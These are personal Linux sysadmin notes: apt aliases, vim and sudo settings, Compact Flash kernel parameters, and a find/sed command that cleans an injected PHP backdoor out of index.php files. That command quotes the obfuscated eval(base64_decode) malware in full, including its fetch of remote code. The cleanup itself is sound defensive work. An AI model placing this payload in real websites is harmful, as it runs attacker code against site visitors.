System/DayToDay

Remove by inode

find . -inum 782263 -exec rm -i {} \;

VIM

set viminfo='1000,f1,<500

.bashrc

export HISTFILESIZE=3000

alias l='ls -aCFlh'
alias u="apt-get update"
alias ug="apt-get upgrade"
alias i="apt-get install"
alias r="apt-get remove"
alias s="apt-cache search"

kernel parameters

For Compact Flash:

libata.dma=0 ide=nodma ide-core.nodma=0.0 ide-core.nodma=0.1

sudo

...
Defaults timestamp_timeout=20
...

Remove badware in *index.php files

find . -name '*index.php' -exec sed -i "s|<?php\ /\*68066\*/\ error_reporting(0);\ @ini_set('error_log',NULL);\ @ini_set('log_errors',0);\ @ini_set('display_errors','Off');\ @eval(\ base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKJHozNz0ic3RhdHMiOwokdWEzPSRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXTsKJHUzNyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIiwgIk1hYyIsICJpbnV4IiwgIlgxMSIpOwppZigocHJlZ19tYXRjaCgiLyIgLiBpbXBsb2RlKCJ8IiwgJHUzNykgLiAiL2kiLCAkdWEzKSkgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSkgPT0wKSAgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkgIG9yIChpc3NldCgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pID09MCkgKQp7fQplbHNlCnsKQHNldGNvb2tpZSgkejM3LG1kNSgic3RhdHMiKSx0aW1lKCkrMTcyODAwKTsKJHVybCA9ICJodHRwOi8vNDA0MGVudC5jb20vc2Vzc2lvbi5waHA/aWQiOwokaWZyYW1lPUBldmFsKGZpbGVfZ2V0X2NvbnRlbnRzICgkdXJsKSk7CmlmICgkaWZyYW1lKSBlY2hvKCRpZnJhbWUpOyAKfQoK'));/\*68066\*/\ ?>||" {} \;